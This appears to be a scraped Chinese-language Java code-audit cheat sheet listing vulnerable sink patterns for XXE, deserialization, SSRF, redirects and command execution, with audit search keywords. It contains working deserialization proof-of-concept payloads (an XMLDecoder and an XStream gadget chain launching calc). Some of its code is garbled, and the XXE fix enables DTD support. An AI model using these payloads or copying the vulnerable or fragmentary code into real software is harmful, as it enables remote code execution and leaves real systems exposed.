赞
踩
例子:
- DocumentBuilderFactory doc=DocumentBuilderFactory.newInstance();
- DocumentBuilder db=doc.newDocumentBuilder();
- InputStream is= new FileInputStream("test.xml");
- Document doc=dombuilder.parse(is); #注入点
- Element rootElement = document.getDocumentElement();
例子:
- XMLInputFactory factory = XMLInputFactory.newFactory();
- InputStream stream = XmlInputFactory.class.getClassLoader().getResourceAsStream("webService/xml/users.xml");
- XMLStreamReader reader = factory.createXMLStreamReader(stream); #注入点
- while (reader.hasNext()) {...}
例子:
- SAXParserFactory factory = SAXParserFactory.newInstance();
- SAXParser parser = factory.newSAXParser();
- XMLReader reader = parser.getXMLReader(); //reader.setContentHandler(new MyContentHandler());
- reader.parse(xmlPath); #注入点
例子:
- SAXBuilder sax = new SAXBuilder();
- Document doc = sax.build("src/config.xml"); #注入点
例子:
- InputStream fis=new FileInputStream("F:\\eclipsewk\\SDK201702\\Test-Pack\\package\\work\\before\\AndrdManit.xml");
- Document document = new SAXReader().read(fis); #注入点
例子:
- File xsdfile=new File("xml/orders.xsd");
- File xmlfile=new File("xml/orders.xml");
- Handler errorHandler=new Handler();
- SchemaFactory schemafactory=SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); //
- Schema schema=schemafactory.newSchema(xsdfile);
- Validator vaildator=schema.newValidator();
- vaildator.setErrorHandler((ErrorHandler) errorHandler);
- vaildator.validate(new StreamSource(xmlfile)); #注入点
例子:
- JAXBContext jc = JAXBContext.newInstance(clazz);
- Unmarshaller u = jc.createUnmarshaller();
- u.unmarshal(new File(xmlstr)); #注入点
修复方法:
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
- DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
- DocumentBuilder builder = df.newDocumentBuilder();
- String result = new XPathExpression().evaluate(builder.parse(new ByteArrayInputStream(xml.getBytes())));
-
- 值得注意的是:javax.xml.xpath.XPathExpression类似于Unmarshaller,它无法自行安全地配置,因此必须首先通过另一个安全的XML解析器解析不受信任的数据
- XMLConfiguration.load
-
- 代码审计的时候感觉一个个搜索也很麻烦,在使用脚本前可以先全局搜索下DocumentBuilder、sax、Unmarshaller 、XPath、XMLInputFactory等字眼
readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。
- <java>
- <object class="java.lang.ProcessBuilder">
- <array class="java.lang.String" length="1" >
- <void index="0">
- <string>c:\\windows\\system32\\calc.exe</string>
- </void>
- </array>
- <void method="start"/>
- </object>
- </java>
String payload = "<map><entry><jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> <dataHandler> <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> <is class=\"javax.crypto.CipherInputStream\"> <cipher class=\"javax.crypto.NullCipher\"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"javax.imageio.spi.FilterIterator\"> <iter class=\"java.util.Collections$EmptyIterator\"/> <next class=\"java.lang.ProcessBuilder\"> <command><string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=\"javax.imageio.ImageIO$ContainsFilter\"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=\"string\">foo</next> </serviceIterator> <lock/> </cipher> <input class=\"java.lang.ProcessBuilder$NullInputStream\"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/></entry></map>";
ObjectMapper.readValue jackson中的api
JSON.parseObject fastjson中的api
审计的时候搜索readobject、readUnshared、fromXML这些关键api
- // HttpURLConnection ssrf vul
- String url = request.getParameter ( "url");
- URL u = new URL(url);
- URLConnection urlconnection = u.openConnection( );
- HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
- BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));//触发漏洞String inputLine;
- StringBuffer html = new StringBuffer();
- while ( ( inputLine = in.readLine( )) != null) {
- html.append ( inputLine);
- }
- System.out.println( "html : " + html.toString());
- in.close();
- String url = request.getParameter ( "url");
- closeableHttpClient client = HttpClients.createDefault();
- HttpGet httpGet = new HttpGet( url) ;
- HttpResponse httpResponse = client.execute(httpGet);//发起请求
- String url = request.getParameter( "url");
- okHttpclient client = new okHttpclient();
- com.squareup.okhttp.Request ok_http = new com .squareup.okhttp.Request.Builder().url(ur1) .build() ;
- client.newCall(ok_http).execute();//发起请求
url.openStream、ImageIO.read(url)
- // ImageIo ssrf vul
- String url = request.getParameter ( "url");
- URL u = new URL(url);
- BufferedImage img = ImageIo.read(u); //触发漏洞
其他
- String url = request.getParameter( "url");
- return Request.Get(url).execute( ) .returncontent( ).toString();//发起请求
审计的时候搜索new URL、HttpClient、HttpURLConnection
审计的时候搜索MultipartFile
审计的时候搜索@SessionAttributes和@ModelAttribute,属于SpringMVC框架
response.sendRedirect //重定向
response.setHeader("Location", "http://www.baidu.com"); // 也是重定向
request.getRequestDispatcher("/success.html").forward(request, response); //请求转发
Runtime.exec //Runtime.getRuntime().exec(command)
ProcessBuilder.start //new ProcessBuilder(cmdArray).start(),取代了Process
GroovyShell.evaluate //主要用于在java中运行Groovy脚本
- shell.evaluate("
-
- static void main(String[]args){
-
- Runtime.getRuntime().exec(command);
-
- }
-
- ");
类似的还有GroovyClassLoader 、ScriptEngine
最常见的就是JDK原始的java.io.FileInputStream类
JDK1.7新增的基于NIO读取文件的java.nio.file.Files类。常用方法如:Files.readAllBytes、Files.readAllLines
JDK原始的java.io.RandomAccessFile类
Apache Commons IO提供的org.apache.commons.io.FileUtils类
JDK1.7新增的基于NIO非阻塞异步读取文件的java.nio.channels.AsynchronousFileChannel类
JAVA代码审计自动化工具
部分java代码分析,勿喷!!!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。